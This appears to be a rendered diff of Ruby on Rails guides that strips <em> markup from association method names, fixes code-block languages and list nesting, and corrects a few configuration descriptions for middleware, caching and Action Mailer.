The `build_<em>association</em>` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
|
||||
The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
|
||||
|
||||
```ruby
|
||||
@customer = @order.build_customer(:customer_number => 123,
|
||||
:customer_name => "John Doe")
|
||||
```
|
||||
|
||||
##### `create_<em>association</em>(attributes = {})`
|
||||
##### `create_association(attributes = {})`
|
||||
|
||||
The `create_<em>association</em>` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
|
||||
The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
|
||||
|
||||
```ruby
|
||||
@customer = @order.create_customer(:customer_number => 123,
|
||||
|
@ -852,7 +852,7 @@ TIP: If you use the `select` method on a `belongs_to` association, you should al
|
|||
|
||||
#### Do Any Associated Objects Exist?
|
||||
|
||||
You can see if any associated objects exist by using the `<em>association</em>.nil?` method:
|
||||
You can see if any associated objects exist by using the `association.nil?` method:
|
||||
|
||||
```ruby
|
||||
if @order.customer.nil?
|
||||
|
@ -872,12 +872,12 @@ The `has_one` association creates a one-to-one match with another model. In data
|
|||
|
||||
When you declare a `has_one` association, the declaring class automatically gains four methods related to the association:
|
||||
|
||||
* `<em>association</em>(force_reload = false)`
|
||||
* `<em>association</em>=(associate)`
|
||||
* `build_<em>association</em>(attributes = {})`
|
||||
* `create_<em>association</em>(attributes = {})`
|
||||
* `association(force_reload = false)`
|
||||
* `association=(associate)`
|
||||
* `build_association(attributes = {})`
|
||||
* `create_association(attributes = {})`
|
||||
|
||||
In all of these methods, `<em>association</em>` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:
|
||||
In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:
|
||||
|
||||
```ruby
|
||||
class Supplier < ActiveRecord::Base
|
||||
|
@ -896,9 +896,9 @@ create_account
|
|||
|
||||
NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
|
||||
|
||||
##### `<em>association</em>(force_reload = false)`
|
||||
##### `association(force_reload = false)`
|
||||
|
||||
The `<em>association</em>` method returns the associated object, if any. If no associated object is found, it returns `nil`.
|
||||
The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
|
||||
|
||||
```ruby
|
||||
@account = @supplier.account
|
||||
|
@ -906,25 +906,25 @@ The `<em>association</em>` method returns the associated object, if any. If no a
|
|||
|
||||
If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.
|
||||
|
||||
##### `<em>association</em>=(associate)`
|
||||
##### `association=(associate)`
|
||||
|
||||
The `<em>association</em>=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
|
||||
The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
|
||||
|
||||
```ruby
|
||||
@supplier.account = @account
|
||||
```
|
||||
|
||||
##### `build_<em>association</em>(attributes = {})`
|
||||
##### `build_association(attributes = {})`
|
||||
|
||||
The `build_<em>association</em>` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
|
||||
The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
|
||||
|
||||
```ruby
|
||||
@account = @supplier.build_account(:terms => "Net 30")
|
||||
```
|
||||
|
||||
##### `create_<em>association</em>(attributes = {})`
|
||||
##### `create_association(attributes = {})`
|
||||
|
||||
The `create_<em>association</em>` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
|
||||
The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
|
||||
|
||||
```ruby
|
||||
@account = @supplier.create_account(:terms => "Net 30")
|
||||
|
@ -1101,7 +1101,7 @@ The `select` method lets you override the SQL `SELECT` clause that is used to re
|
|||
|
||||
#### Do Any Associated Objects Exist?
|
||||
|
||||
You can see if any associated objects exist by using the `<em>association</em>.nil?` method:
|
||||
You can see if any associated objects exist by using the `association.nil?` method:
|
||||
|
||||
```ruby
|
||||
if @supplier.account.nil?
|
||||
|
@ -1117,7 +1117,7 @@ If either of these saves fails due to validation errors, then the assignment sta
|
|||
|
||||
If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved. They will automatically when the parent object is saved.
|
||||
|
||||
If you want to assign an object to a `has_one` association without saving the object, use the `<em>association</em>.build` method.
|
||||
If you want to assign an object to a `has_one` association without saving the object, use the `association.build` method.
|
||||
|
||||
### `has_many` Association Reference
|
||||
|
||||
|
@ -1127,22 +1127,22 @@ The `has_many` association creates a one-to-many relationship with another model
|
|||
|
||||
When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association:
|
||||
|
||||
* `<em>collection</em>(force_reload = false)`
|
||||
* `<em>collection</em><<(object, ...)`
|
||||
* `<em>collection</em>.delete(object, ...)`
|
||||
* `<em>collection</em>=objects`
|
||||
* `<em>collection_singular</em>_ids`
|
||||
* `<em>collection_singular</em>_ids=ids`
|
||||
* `<em>collection</em>.clear`
|
||||
* `<em>collection</em>.empty?`
|
||||
* `<em>collection</em>.size`
|
||||
* `<em>collection</em>.find(...)`
|
||||
* `<em>collection</em>.where(...)`
|
||||
* `<em>collection</em>.exists?(...)`
|
||||
* `<em>collection</em>.build(attributes = {}, ...)`
|
||||
* `<em>collection</em>.create(attributes = {})`
|
||||
* `collection(force_reload = false)`
|
||||
* `collection<<(object, ...)`
|
||||
* `collection.delete(object, ...)`
|
||||
* `collection=objects`
|
||||
* `collection_singular_ids`
|
||||
* `collection_singular_ids=ids`
|
||||
* `collection.clear`
|
||||
* `collection.empty?`
|
||||
* `collection.size`
|
||||
* `collection.find(...)`
|
||||
* `collection.where(...)`
|
||||
* `collection.exists?(...)`
|
||||
* `collection.build(attributes = {}, ...)`
|
||||
* `collection.create(attributes = {})`
|
||||
|
||||
In all of these methods, `<em>collection</em>` is replaced with the symbol passed as the first argument to `has_many`, and `<em>collection_singular</em>` is replaced with the singularized version of that symbol.. For example, given the declaration:
|
||||
In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol.. For example, given the declaration:
|
||||
|
||||
```ruby
|
||||
class Customer < ActiveRecord::Base
|
||||
|
@ -1169,25 +1169,25 @@ orders.build(attributes = {}, ...)
|
|||
orders.create(attributes = {})
|
||||
```
|
||||
|
||||
##### `<em>collection</em>(force_reload = false)`
|
||||
##### `collection(force_reload = false)`
|
||||
|
||||
The `<em>collection</em>` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
|
||||
The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
|
||||
|
||||
```ruby
|
||||
@orders = @customer.orders
|
||||
```
|
||||
|
||||
##### `<em>collection</em><<(object, ...)`
|
||||
##### `collection<<(object, ...)`
|
||||
|
||||
The `<em>collection</em><<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
|
||||
The `collection<<` method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
|
||||
|
||||
```ruby
|
||||
@customer.orders << @order1
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.delete(object, ...)`
|
||||
##### `collection.delete(object, ...)`
|
||||
|
||||
The `<em>collection</em>.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`.
|
||||
The `collection.delete` method removes one or more objects from the collection by setting their foreign keys to `NULL`.
|
||||
|
||||
```ruby
|
||||
@customer.orders.delete(@order1)
|
||||
|
@ -1196,77 +1196,77 @@ The `<em>collection</em>.delete` method removes one or more objects from the col
|
|||
WARNING: Additionally, objects will be destroyed if they're associated with `:dependent => :destroy`, and deleted if they're associated with `:dependent => :delete_all`.
|
||||
|
||||
|
||||
##### `<em>collection</em>=objects`
|
||||
##### `collection=objects`
|
||||
|
||||
The `<em>collection</em>=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
|
||||
The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
|
||||
|
||||
##### `<em>collection_singular</em>_ids`
|
||||
##### `collection_singular_ids`
|
||||
|
||||
The `<em>collection_singular</em>_ids` method returns an array of the ids of the objects in the collection.
|
||||
The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
|
||||
|
||||
```ruby
|
||||
@order_ids = @customer.order_ids
|
||||
```
|
||||
|
||||
##### `<em>collection_singular</em>_ids=ids`
|
||||
##### `collection_singular_ids=ids`
|
||||
|
||||
The `<em>collection_singular</em>_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
|
||||
The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
|
||||
|
||||
##### `<em>collection</em>.clear`
|
||||
##### `collection.clear`
|
||||
|
||||
The `<em>collection</em>.clear` method removes every object from the collection. This destroys the associated objects if they are associated with `:dependent => :destroy`, deletes them directly from the database if `:dependent => :delete_all`, and otherwise sets their foreign keys to `NULL`.
|
||||
The `collection.clear` method removes every object from the collection. This destroys the associated objects if they are associated with `:dependent => :destroy`, deletes them directly from the database if `:dependent => :delete_all`, and otherwise sets their foreign keys to `NULL`.
|
||||
|
||||
##### `<em>collection</em>.empty?`
|
||||
##### `collection.empty?`
|
||||
|
||||
The `<em>collection</em>.empty?` method returns `true` if the collection does not contain any associated objects.
|
||||
The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
<% if @customer.orders.empty? %>
|
||||
No Orders Found
|
||||
<% end %>
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.size`
|
||||
##### `collection.size`
|
||||
|
||||
The `<em>collection</em>.size` method returns the number of objects in the collection.
|
||||
The `collection.size` method returns the number of objects in the collection.
|
||||
|
||||
```ruby
|
||||
@order_count = @customer.orders.size
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.find(...)`
|
||||
##### `collection.find(...)`
|
||||
|
||||
The `<em>collection</em>.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`.
|
||||
The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`.
|
||||
|
||||
```ruby
|
||||
@open_orders = @customer.orders.find(1)
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.where(...)`
|
||||
##### `collection.where(...)`
|
||||
|
||||
The `<em>collection</em>.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
|
||||
The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
|
||||
|
||||
```ruby
|
||||
@open_orders = @customer.orders.where(:open => true) # No query yet
|
||||
@open_order = @open_orders.first # Now the database will be queried
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.exists?(...)`
|
||||
##### `collection.exists?(...)`
|
||||
|
||||
The `<em>collection</em>.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
|
||||
The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
|
||||
|
||||
##### `<em>collection</em>.build(attributes = {}, ...)`
|
||||
##### `collection.build(attributes = {}, ...)`
|
||||
|
||||
The `<em>collection</em>.build` method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
|
||||
The `collection.build` method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
|
||||
|
||||
```ruby
|
||||
@order = @customer.orders.build(:order_date => Time.now,
|
||||
:order_number => "A12345")
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.create(attributes = {})`
|
||||
##### `collection.create(attributes = {})`
|
||||
|
||||
The `<em>collection</em>.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
|
||||
The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
|
||||
|
||||
```ruby
|
||||
@order = @customer.orders.create(:order_date => Time.now,
|
||||
|
@ -1551,7 +1551,7 @@ If any of these saves fails due to validation errors, then the assignment statem
|
|||
|
||||
If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
|
||||
|
||||
If you want to assign an object to a `has_many` association without saving the object, use the `<em>collection</em>.build` method.
|
||||
If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method.
|
||||
|
||||
### `has_and_belongs_to_many` Association Reference
|
||||
|
||||
|
@ -1561,22 +1561,22 @@ The `has_and_belongs_to_many` association creates a many-to-many relationship wi
|
|||
|
||||
When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association:
|
||||
|
||||
* `<em>collection</em>(force_reload = false)`
|
||||
* `<em>collection</em><<(object, ...)`
|
||||
* `<em>collection</em>.delete(object, ...)`
|
||||
* `<em>collection</em>=objects`
|
||||
* `<em>collection_singular</em>_ids`
|
||||
* `<em>collection_singular</em>_ids=ids`
|
||||
* `<em>collection</em>.clear`
|
||||
* `<em>collection</em>.empty?`
|
||||
* `<em>collection</em>.size`
|
||||
* `<em>collection</em>.find(...)`
|
||||
* `<em>collection</em>.where(...)`
|
||||
* `<em>collection</em>.exists?(...)`
|
||||
* `<em>collection</em>.build(attributes = {})`
|
||||
* `<em>collection</em>.create(attributes = {})`
|
||||
* `collection(force_reload = false)`
|
||||
* `collection<<(object, ...)`
|
||||
* `collection.delete(object, ...)`
|
||||
* `collection=objects`
|
||||
* `collection_singular_ids`
|
||||
* `collection_singular_ids=ids`
|
||||
* `collection.clear`
|
||||
* `collection.empty?`
|
||||
* `collection.size`
|
||||
* `collection.find(...)`
|
||||
* `collection.where(...)`
|
||||
* `collection.exists?(...)`
|
||||
* `collection.build(attributes = {})`
|
||||
* `collection.create(attributes = {})`
|
||||
|
||||
In all of these methods, `<em>collection</em>` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `<em>collection_singular</em>` is replaced with the singularized version of that symbol. For example, given the declaration:
|
||||
In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
|
||||
|
||||
```ruby
|
||||
class Part < ActiveRecord::Base
|
||||
|
@ -1610,55 +1610,55 @@ If the join table for a `has_and_belongs_to_many` association has additional col
|
|||
WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`.
|
||||
|
||||
|
||||
##### `<em>collection</em>(force_reload = false)`
|
||||
##### `collection(force_reload = false)`
|
||||
|
||||
The `<em>collection</em>` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
|
||||
The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
|
||||
|
||||
```ruby
|
||||
@assemblies = @part.assemblies
|
||||
```
|
||||
|
||||
##### `<em>collection</em><<(object, ...)`
|
||||
##### `collection<<(object, ...)`
|
||||
|
||||
The `<em>collection</em><<` method adds one or more objects to the collection by creating records in the join table.
|
||||
The `collection<<` method adds one or more objects to the collection by creating records in the join table.
|
||||
|
||||
```ruby
|
||||
@part.assemblies << @assembly1
|
||||
```
|
||||
|
||||
NOTE: This method is aliased as `<em>collection</em>.concat` and `<em>collection</em>.push`.
|
||||
NOTE: This method is aliased as `collection.concat` and `collection.push`.
|
||||
|
||||
##### `<em>collection</em>.delete(object, ...)`
|
||||
##### `collection.delete(object, ...)`
|
||||
|
||||
The `<em>collection</em>.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
|
||||
The `collection.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
|
||||
|
||||
```ruby
|
||||
@part.assemblies.delete(@assembly1)
|
||||
```
|
||||
|
||||
##### `<em>collection</em>=objects`
|
||||
##### `collection=objects`
|
||||
|
||||
The `<em>collection</em>=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
|
||||
The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
|
||||
|
||||
##### `<em>collection_singular</em>_ids`
|
||||
##### `collection_singular_ids`
|
||||
|
||||
The `<em>collection_singular</em>_ids` method returns an array of the ids of the objects in the collection.
|
||||
The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
|
||||
|
||||
```ruby
|
||||
@assembly_ids = @part.assembly_ids
|
||||
```
|
||||
|
||||
##### `<em>collection_singular</em>_ids=ids`
|
||||
##### `collection_singular_ids=ids`
|
||||
|
||||
The `<em>collection_singular</em>_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
|
||||
The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
|
||||
|
||||
##### `<em>collection</em>.clear`
|
||||
##### `collection.clear`
|
||||
|
||||
The `<em>collection</em>.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
|
||||
The `collection.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
|
||||
|
||||
##### `<em>collection</em>.empty?`
|
||||
##### `collection.empty?`
|
||||
|
||||
The `<em>collection</em>.empty?` method returns `true` if the collection does not contain any associated objects.
|
||||
The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
|
||||
|
||||
```ruby
|
||||
<% if @part.assemblies.empty? %>
|
||||
|
@ -1666,46 +1666,46 @@ The `<em>collection</em>.empty?` method returns `true` if the collection does no
|
|||
<% end %>
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.size`
|
||||
##### `collection.size`
|
||||
|
||||
The `<em>collection</em>.size` method returns the number of objects in the collection.
|
||||
The `collection.size` method returns the number of objects in the collection.
|
||||
|
||||
```ruby
|
||||
@assembly_count = @part.assemblies.size
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.find(...)`
|
||||
##### `collection.find(...)`
|
||||
|
||||
The `<em>collection</em>.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection.
|
||||
The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection.
|
||||
|
||||
```ruby
|
||||
@assembly = @part.assemblies.find(1)
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.where(...)`
|
||||
##### `collection.where(...)`
|
||||
|
||||
The `<em>collection</em>.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
|
||||
The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
|
||||
|
||||
```ruby
|
||||
@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.exists?(...)`
|
||||
##### `collection.exists?(...)`
|
||||
|
||||
The `<em>collection</em>.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
|
||||
The `collection.exists?` method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as `ActiveRecord::Base.exists?`.
|
||||
|
||||
##### `<em>collection</em>.build(attributes = {})`
|
||||
##### `collection.build(attributes = {})`
|
||||
|
||||
The `<em>collection</em>.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
|
||||
The `collection.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
|
||||
|
||||
```ruby
|
||||
@assembly = @part.assemblies.build(
|
||||
{:assembly_name => "Transmission housing"})
|
||||
```
|
||||
|
||||
##### `<em>collection</em>.create(attributes = {})`
|
||||
##### `collection.create(attributes = {})`
|
||||
|
||||
The `<em>collection</em>.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
|
||||
The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
|
||||
|
||||
```ruby
|
||||
@assembly = @part.assemblies.create(
|
||||
|
@ -1889,7 +1889,7 @@ If any of these saves fails due to validation errors, then the assignment statem
|
|||
|
||||
If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
|
||||
|
||||
If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `<em>collection</em>.build` method.
|
||||
If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method.
|
||||
|
||||
### Association Callbacks
|
||||
|
||||
|
|
|
@ -70,7 +70,7 @@ By default, page caching automatically gzips files (for example, to `products.ht
|
|||
|
||||
Nginx is able to serve compressed content directly from disk by enabling `gzip_static`:
|
||||
|
||||
```
|
||||
```nginx
|
||||
location / {
|
||||
gzip_static on; # to serve pre-gzipped version
|
||||
}
|
||||
|
@ -133,7 +133,7 @@ Fragment Caching allows a fragment of view logic to be wrapped in a cache block
|
|||
|
||||
As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<% Order.find_recent.each do |o| %>
|
||||
<%= o.buyer.name %> bought <%= o.product.name %>
|
||||
<% end %>
|
||||
|
@ -148,7 +148,7 @@ As an example, if you wanted to show all the orders placed on your website in re
|
|||
|
||||
The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an `action_suffix` to the cache call:
|
||||
|
||||
```ruby
|
||||
```html+erb
|
||||
<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
|
||||
All available products:
|
||||
```
|
||||
|
@ -161,7 +161,7 @@ expire_fragment(:controller => 'products', :action => 'recent', :action_suffix =
|
|||
|
||||
If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the `cache` method with a key:
|
||||
|
||||
```ruby
|
||||
```erb
|
||||
<% cache('all_available_products') do %>
|
||||
All available products:
|
||||
<% end %>
|
||||
|
|
|
@ -176,7 +176,7 @@ end
|
|||
|
||||
Then the view, to display our message (in `app/views/greetings/hello.html.erb`):
|
||||
|
||||
```html
|
||||
```erb
|
||||
<h1>A Greeting for You!</h1>
|
||||
<p><%= @message %></p>
|
||||
```
|
||||
|
|
|
@ -202,8 +202,8 @@ The full set of methods that can be used in this block are as follows:
|
|||
Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
|
||||
|
||||
* `ActionDispatch::SSL` forces every request to be under HTTPS protocol. Will be available if `config.force_ssl` is set to `true`. Options passed to this can be configured by using `config.ssl_options`.
|
||||
* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_assets` is `true`.
|
||||
* `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes_` is `false`.
|
||||
* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_assets` is `false`.
|
||||
* `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`.
|
||||
* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
|
||||
* `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
|
||||
* `Rails::Rack::Logger` notifies the logs that the request has began. After request is complete, flushes all the logs.
|
||||
|
@ -333,7 +333,11 @@ The caching code adds two additional settings:
|
|||
* `config.action_dispatch.default_headers` is a hash with HTTP headers that are set by default in each response. By default, this is defined as:
|
||||
|
||||
```ruby
|
||||
config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '1; mode=block', 'X-Content-Type-Options' => 'nosniff' }
|
||||
config.action_dispatch.default_headers = {
|
||||
'X-Frame-Options' => 'SAMEORIGIN',
|
||||
'X-XSS-Protection' => '1; mode=block',
|
||||
'X-Content-Type-Options' => 'nosniff'
|
||||
}
|
||||
```
|
||||
|
||||
* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
|
||||
|
@ -351,7 +355,9 @@ config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X
|
|||
* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Record. The default is
|
||||
|
||||
```ruby
|
||||
Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe }
|
||||
Proc.new do |html_tag, instance|
|
||||
%Q(<div class="field_with_errors">#{html_tag}</div>).html_safe
|
||||
end
|
||||
```
|
||||
|
||||
* `config.action_view.default_form_builder` tells Rails which form builder to use by default. The default is `ActionView::Helpers::FormBuilder`. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a `String`
|
||||
|
@ -369,7 +375,9 @@ config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs)
|
|||
However, you may add to this by defining others:
|
||||
|
||||
```ruby
|
||||
config.action_view.javascript_expansions[:prototype] = ['prototype', 'effects', 'dragdrop', 'controls']
|
||||
config.action_view.javascript_expansions[:prototype] = [
|
||||
'prototype', 'effects', 'dragdrop', 'controls'
|
||||
]
|
||||
```
|
||||
|
||||
And can reference in the view with the following code:
|
||||
|
@ -403,16 +411,16 @@ There are a number of settings available on `config.action_mailer`:
|
|||
* `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.
|
||||
|
||||
* `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options:
|
||||
** `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
|
||||
** `:port` - On the off chance that your mail server doesn't run on port 25, you can change it.
|
||||
** `:domain` - If you need to specify a HELO domain, you can do it here.
|
||||
** `:user_name` - If your mail server requires authentication, set the username in this setting.
|
||||
** `:password` - If your mail server requires authentication, set the password in this setting.
|
||||
** `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
|
||||
* `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
|
||||
* `:port` - On the off chance that your mail server doesn't run on port 25, you can change it.
|
||||
* `:domain` - If you need to specify a HELO domain, you can do it here.
|
||||
* `:user_name` - If your mail server requires authentication, set the username in this setting.
|
||||
* `:password` - If your mail server requires authentication, set the password in this setting.
|
||||
* `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
|
||||
|
||||
* `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options:
|
||||
** `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
|
||||
** `:arguments` - The command line arguments. Defaults to `-i -t`.
|
||||
* `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
|
||||
* `:arguments` - The command line arguments. Defaults to `-i -t`.
|
||||
|
||||
* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
|
||||
|
||||
|
@ -421,6 +429,7 @@ There are a number of settings available on `config.action_mailer`:
|
|||
* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
|
||||
|
||||
* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
|
||||
|
||||
```ruby
|
||||
:mime_version => "1.0",
|
||||
:charset => "UTF-8",
|
||||
|
@ -429,11 +438,13 @@ There are a number of settings available on `config.action_mailer`:
|
|||
```
|
||||
|
||||
* `config.action_mailer.observers` registers observers which will be notified when mail is delivered.
|
||||
|
||||
```ruby
|
||||
config.action_mailer.observers = ["MailObserver"]
|
||||
```
|
||||
|
||||
* `config.action_mailer.interceptors` registers interceptors which will be called before mail is sent.
|
||||
|
||||
```ruby
|
||||
config.action_mailer.interceptors = ["MailInterceptor"]
|
||||
```
|
||||
|
@ -651,24 +662,23 @@ Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you ca
|
|||
|
||||
Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
|
||||
|
||||
*`load_environment_hook`*
|
||||
Serves as a placeholder so that `:load_environment_config` can be defined to run before it.
|
||||
* `load_environment_hook` Serves as a placeholder so that `:load_environment_config` can be defined to run before it.
|
||||
|
||||
